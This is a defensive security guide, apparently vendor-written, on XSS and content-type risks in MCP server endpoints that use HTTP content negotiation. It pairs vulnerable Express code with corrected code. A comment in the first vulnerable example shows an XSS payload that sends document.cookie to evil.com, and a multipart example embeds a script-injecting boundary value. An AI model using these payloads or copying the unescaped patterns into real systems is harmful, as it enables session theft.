Security Guide

MCP server content negotiation security — Accept header injection, JSON vs HTML response XSS, MIME sniffing, Sec-Fetch-Dest enforcement, forced Content-Type

HTTP content negotiation is a convenience feature that lets a single endpoint serve JSON for API clients and HTML for browser navigation. For MCP tool endpoints this convenience creates a sharp security hazard: the Accept header becomes an attacker-controlled switch that can flip a safe JSON response into an unsafe HTML response where any unescaped request parameter triggers reflected XSS. MIME sniffing, multipart boundary injection, and missing Sec-Fetch-Dest checks compound the risk in ways that are easy to miss during code review.

Content negotiation and how it creates an XSS surface

HTTP content negotiation is defined in RFC 7231: a client sets an Accept header indicating which media types it can process, and the server selects the most suitable representation to return. Accept: application/json requests a JSON response. Accept: text/html requests an HTML page. Accept: */* accepts any format, with the server choosing based on its own preference ordering.

MCP servers that implement content negotiation on tool endpoints — returning a JSON object for API clients and a human-readable HTML page for browser navigations — introduce an XSS surface that is often overlooked because the JSON path is correctly implemented and the HTML path is added as an afterthought. The vulnerability is not in the content negotiation itself but in the HTML rendering path's handling of user-controlled values:

// Vulnerable: content negotiation triggers HTML rendering with unescaped params
app.get('/api/tool/result', async (req, res) => {
  const { id, query } = req.query;  // User-controlled
  const result = await fetchToolResult(id);

  if (req.accepts('text/html')) {
    // HTML rendering path — developer forgot to HTML-encode
    // An attacker navigates the victim to:
    // /api/tool/result?id=1&query=<script>document.location='https://evil.com/?c='+document.cookie</script>
    return res.send(`
      <html><body>
        <h1>Tool Result</h1>
        <p>Query: ${query}</p>  <!-- XSS fires here -->
        <pre>${JSON.stringify(result)}</pre>
      </body></html>
    `);
  }

  // JSON path is safe — JSON encoding prevents XSS
  res.json({ id, query, result });
});

The JSON path is safe because JSON encoding transforms <script> into a JSON string value — the browser receives {"query":"<script>..."} and parses it as data, not markup. The HTML path is unsafe because the query parameter is string-interpolated directly into the HTML template. When a browser navigates to the URL (via a link, redirect, or iframe src), it renders the page with Accept: text/html in the request, triggering the vulnerable rendering path.

The Accept header is attacker-controlled. When an attacker crafts a malicious link and tricks a victim into clicking it, the browser sends the request with Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 — which matches the text/html preference and triggers the HTML rendering path. The attacker does not need any special browser setup; normal link navigation does it automatically.

Accept header injection to force unexpected content type

Beyond the simple navigation attack, an attacker can also target machine clients that implement content negotiation on their request side. An API endpoint that normally returns JSON for machine clients can be force-shifted to its HTML rendering path by controlling the Accept header in an SSRF chain or by injecting into a client that forwards the Accept header from an upstream request.

The more immediate risk is the inverse: an API endpoint that should only ever return JSON is implemented with content negotiation, which means a browser navigation to that URL (a direct URL visit, an embedded frame, or a redirect) triggers HTML rendering that may have been written with different escaping assumptions than the JSON path.

// Anti-pattern: content negotiation on a machine-facing API endpoint
app.get('/mcp/tools/:name/invoke', async (req, res) => {
  const toolName = req.params.name;
  const result = await invokeTool(toolName, req.body);

  // This endpoint is only called by MCP clients — but content negotiation
  // means a browser navigation (Sec-Fetch-Dest: document) from an attacker's
  // phishing page triggers the HTML branch:
  if (req.accepts(['text/html'])) {
    // HTML branch added for "debugging convenience" — security nightmare
    return res.send(`<h1>${toolName}</h1><pre>${result.output}</pre>`);
  }
  res.json(result);
});

// Correct: machine-facing endpoints always return JSON, ignore Accept header
app.get('/mcp/tools/:name/invoke', async (req, res) => {
  const toolName = req.params.name;
  const result = await invokeTool(toolName, req.body);

  // Force JSON regardless of Accept header
  res.type('application/json').json(result);
});

The rule is simple: tool invocation endpoints are machine-facing. They do not need content negotiation. Forcing Content-Type: application/json in the response — regardless of what the client requests — eliminates the entire content negotiation attack surface for those endpoints. An HTML debugging view should be a separate endpoint, protected by authentication, with CSP applied, and explicitly excluded from the MCP tool invocation routing.

MIME sniffing on content-negotiated responses

MIME sniffing is the browser behavior of inferring the actual content type of a response by examining its bytes when the server-declared Content-Type is ambiguous, absent, or mismatched. Modern versions of Chrome, Firefox, and Safari implement MIME sniffing in varying degrees, but the most dangerous form — sniffing application/octet-stream as text/html — was common in Internet Explorer and persists in some embedded browser contexts.

For MCP tool endpoints that return binary data (file contents, image data, PDF exports) from tool executions, the risk is concrete: if the binary output contains HTML-like content (a user-supplied document that begins with <!DOCTYPE html> or <html>), a sniffing browser treats the binary tool output as an HTML page and renders it, executing any embedded scripts in the origin context of the MCP server.

// Vulnerable: binary tool output without nosniff protection
app.get('/mcp/tool/export/:id', async (req, res) => {
  const fileContent = await getToolExportOutput(req.params.id);

  // fileContent might be user-controlled HTML — but we declare it binary
  res.set('Content-Type', 'application/octet-stream');
  // Without X-Content-Type-Options: nosniff, some browsers may sniff
  // the content and render it as text/html if the bytes look like HTML
  res.send(fileContent);
});

// Correct: always set nosniff on every response
app.use((req, res, next) => {
  res.set('X-Content-Type-Options', 'nosniff');
  next();
});

app.get('/mcp/tool/export/:id', async (req, res) => {
  const fileContent = await getToolExportOutput(req.params.id);
  const mimeType = detectMimeType(fileContent); // From magic bytes, not filename

  // Set the correct Content-Type; nosniff middleware ensures it is honored
  res.set('Content-Type', mimeType);
  res.set('Content-Disposition', 'attachment; filename="export.bin"');
  res.send(fileContent);
});

Content-Disposition: attachment is a defense-in-depth measure that instructs browsers to download the response rather than render it. Combined with X-Content-Type-Options: nosniff and a specific (non-text/html) Content-Type, it makes rendering the response as HTML require explicit user action. Apply all three layers to binary tool output endpoints.

The X-Content-Type-Options: nosniff header should be set globally via middleware, not per-endpoint. A middleware miss on any single endpoint that serves user-controlled binary output is sufficient for exploitation. Apply it once at the framework level and never rely on per-endpoint remembrance.

Using Sec-Fetch-Dest to distinguish API vs browser navigation

The Fetch Metadata request headers (Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site) are browser-generated headers that describe the context of each request. They cannot be set by JavaScript (they are "forbidden" request headers in the Fetch spec) and are stripped by browsers from cross-origin requests where they would be misleading. This makes them useful as a server-side gate for distinguishing browser navigations from API calls.

Sec-Fetch-Dest is the most useful header for content negotiation gating:

Sec-Fetch-Dest Value Request Context Correct Server Action
empty fetch() or XMLHttpRequest — API call Return JSON regardless of Accept header
document Browser top-level navigation (address bar, <a> click) Return HTML if supported, with all values HTML-encoded and CSP applied
iframe Embedded frame navigation Treat as document context; use X-Frame-Options or CSP frame-ancestors to restrict
Absent Non-browser client (curl, MCP SDK, server-to-server) Return JSON; do not serve HTML to clients that don't send Fetch Metadata
// Using Sec-Fetch-Dest to gate content negotiation safely
app.get('/mcp/tool/schema/:name', async (req, res) => {
  const toolName = req.params.name;
  const schema = await getToolSchema(toolName);
  const dest = req.headers['sec-fetch-dest'];

  // Only serve HTML to explicit browser navigation requests
  if (dest === 'document' || dest === 'iframe') {
    // HTML path: all values must be HTML-encoded
    const escapedName = escapeHtml(toolName);
    const escapedSchema = escapeHtml(JSON.stringify(schema, null, 2));

    res.set('Content-Security-Policy',
      "default-src 'none'; style-src 'unsafe-inline'; frame-ancestors 'none'"
    );
    return res.type('html').send(`
      <!DOCTYPE html>
      <html lang="en"><head><title>${escapedName} schema</title></head>
      <body><h1>${escapedName}</h1><pre>${escapedSchema}</pre></body>
      </html>
    `);
  }

  // Default: always return JSON for API clients (fetch(), non-browser, absent header)
  res.type('application/json').json(schema);
});

// Helper: HTML entity encoding (use a library like 'he' in production)
function escapeHtml(str) {
  return String(str)
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

Sec-Fetch-Dest is not a complete defense on its own. It cannot be forged by browser JavaScript but it can be omitted by non-browser clients (curl, Postman, custom HTTP libraries) that simply do not send Fetch Metadata headers. Treat an absent Sec-Fetch-Dest as equivalent to the API path — do not serve HTML to clients that do not send the header.

Forcing Content-Type in responses regardless of Accept

The most robust strategy for MCP tool invocation endpoints is to eliminate content negotiation entirely: always return a fixed Content-Type regardless of what the client's Accept header requests. This removes the entire attack surface of Accept-header-triggered rendering path switching.

// Express middleware: enforce fixed Content-Type on MCP tool endpoints
// Applied to all /mcp/* routes — tool invocation endpoints never negotiate
app.use('/mcp', (req, res, next) => {
  // Override any Accept-driven content negotiation
  // res.type() sets Content-Type and prevents override by res.format()
  const originalJson = res.json.bind(res);
  res.json = function(data) {
    this.set('Content-Type', 'application/json; charset=utf-8');
    this.set('X-Content-Type-Options', 'nosniff');
    return originalJson(data);
  };
  next();
});

// Streaming tool output: always text/event-stream
app.get('/mcp/tools/:name/stream', (req, res) => {
  // Force SSE content type — never negotiate to text/html
  res.set('Content-Type', 'text/event-stream');
  res.set('Cache-Control', 'no-cache');
  res.set('X-Content-Type-Options', 'nosniff');
  res.flushHeaders();

  // stream events...
});

// Batch tool invocations: always application/x-ndjson
app.post('/mcp/batch', async (req, res) => {
  res.set('Content-Type', 'application/x-ndjson');
  res.set('X-Content-Type-Options', 'nosniff');

  for await (const result of processBatch(req.body)) {
    res.write(JSON.stringify(result) + '\n');
  }
  res.end();
});

The pattern is: every endpoint has a declared, fixed Content-Type that it always returns. The Accept header from the client is read for logging and observability purposes only — it never changes the response format for machine-facing endpoints. When a browser navigates directly to a tool invocation URL (whether accidentally or as part of an attack), it receives Content-Type: application/json with X-Content-Type-Options: nosniff — the browser renders the JSON as text, never as HTML.

Double Content-Type attack on multipart tool responses

MCP servers that return multipart responses — mixed JSON metadata plus binary tool output — use Content-Type: multipart/mixed; boundary=--BOUNDARY. The boundary string is used to delimit individual parts within the response body. If the boundary value is derived from any user-controlled input, an attacker who controls the boundary can inject an additional part with an attacker-controlled Content-Type into the response body.

// Vulnerable: boundary derived from user-supplied session ID
app.post('/mcp/tool/invoke-multipart', async (req, res) => {
  const { sessionId, toolName, params } = req.body;

  // WRONG: sessionId is user-controlled — boundary injection
  const boundary = `--${sessionId}-boundary`;
  // An attacker sends sessionId = "abc\r\n\r\n<script>alert(1)</script>\r\n--abc"
  // This injects an additional part with attacker content into the multipart response

  res.set('Content-Type', `multipart/mixed; boundary="${boundary}"`);
  // ... build parts ...
});

// Correct: always generate boundaries cryptographically
import { randomBytes } from 'crypto';

app.post('/mcp/tool/invoke-multipart', async (req, res) => {
  const { toolName, params } = req.body;
  const result = await invokeTool(toolName, params);

  // Boundary is always cryptographically random — never derived from user input
  const boundary = randomBytes(16).toString('hex');

  res.set('Content-Type', `multipart/mixed; boundary="${boundary}"`);
  res.set('X-Content-Type-Options', 'nosniff');

  const metadataJson = JSON.stringify({ toolName, status: result.status });
  const outputBuffer = result.output; // Binary Buffer

  res.write(
    `--${boundary}\r\n` +
    `Content-Type: application/json\r\n\r\n` +
    `${metadataJson}\r\n` +
    `--${boundary}\r\n` +
    `Content-Type: application/octet-stream\r\n` +
    `Content-Disposition: attachment; filename="output.bin"\r\n\r\n`
  );
  res.write(outputBuffer);
  res.end(`\r\n--${boundary}--`);
});

Boundary injection anatomy: A multipart parser splits the response body on the boundary string. If an attacker can inject the boundary string plus CRLF pairs into a user-controlled value that appears before the actual boundary delimiter, they can create synthetic parts with arbitrary headers and content. A cryptographically random boundary that the attacker cannot predict or influence eliminates this class of attack entirely.

SkillAudit findings for content negotiation

These findings represent content negotiation security failures SkillAudit identifies across MCP server codebases. The CRITICAL findings represent directly exploitable XSS vectors; the HIGH findings are one additional condition away from exploitation.

CRITICAL -24 pts — Content negotiation on tool endpoint serves HTML response with unescaped request parameters: Accept: text/html browser navigation triggers HTML rendering that string-interpolates query parameters without HTML encoding, producing reflected XSS in the origin context of the MCP server. Exploitable via a crafted link to any victim with an active session.
CRITICAL -22 pts — MIME sniffing not disabled (X-Content-Type-Options: nosniff absent) on endpoints that return binary tool output: if the binary content contains HTML-like bytes (user-supplied document content, attacker-controlled file contents), a sniffing browser context renders it as text/html and executes embedded scripts in the MCP server origin.
HIGH -20 pts — API endpoint implements content negotiation without Sec-Fetch-Dest gate: browser navigation (Sec-Fetch-Dest: document) triggers the HTML rendering path, which has different (weaker) escaping guarantees than the JSON path. The HTML path was added for debugging convenience without security review of its encoding behavior.
HIGH -18 pts — Multipart boundary derived from user input: attacker-controlled sessionId, requestId, or similar parameter is concatenated into the multipart boundary string, enabling boundary injection that creates synthetic response parts with attacker-controlled Content-Type headers and body content.
MEDIUM -12 ptsVary: Accept missing on content-negotiated responses: CDN edge caches serve the same cached response regardless of the client's Accept header. An API client that primes the cache with a JSON response causes subsequent browser navigations to receive JSON instead of HTML — or vice versa, causing a browser navigation to receive cached JSON that the browser may mishandle depending on its MIME sniffing behavior.
MEDIUM -10 pts — No Content-Security-Policy on HTML content-negotiated responses: the HTML path relies entirely on correct output encoding for XSS prevention. A single missed encoding site (template variable, error message, tool name reflected in breadcrumb) triggers exploitation with no defense-in-depth. CSP with default-src 'none' and explicit allowlists limits the impact of any encoding miss to a no-op rather than full script execution.

Audit your MCP server for these issues

SkillAudit checks these security misconfigurations automatically — paste a GitHub URL and get a graded report in 60 seconds.

Run a free audit →